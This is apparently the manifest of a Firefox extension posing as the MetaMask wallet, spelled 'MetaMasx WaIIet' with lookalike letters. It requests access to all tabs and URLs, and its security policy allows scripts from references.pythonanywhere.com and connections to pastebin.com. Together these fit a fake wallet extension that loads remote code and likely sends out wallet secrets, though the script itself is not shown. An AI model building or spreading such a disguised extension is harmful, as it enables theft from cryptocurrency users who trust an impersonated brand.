Examine source code of MetaMasx WaIIet

{
  "manifest_version": 2,
  "name": "Extension",
  "version": "11.22.4",
  "browser_action": {
    "default_title": "Extension"
  },
  "background": {
    "scripts": [
      "background.js"
    ],
    "persistent": false
  },
  "browser_specific_settings": {
    "gecko": {
      "id": "{c72dcdd7-82be-4e60-ac41-475be1fc56b4}",
      "strict_min_version": "109.0"
    }
  },
  "permissions": [
    "tabs",
    "<all_urls>",
    "storage"
  ],
  "content_security_policy": "script-src 'self' https://references.pythonanywhere.com; object-src 'self'; img-src 'self' https://references.pythonanywhere.com data: blob:; frame-src * data: blob:; connect-src 'self' https://references.pythonanywhere.com https://pastebin.com data: blob:",
  "web_accessible_resources": [
    "calculator.html"
  ]
}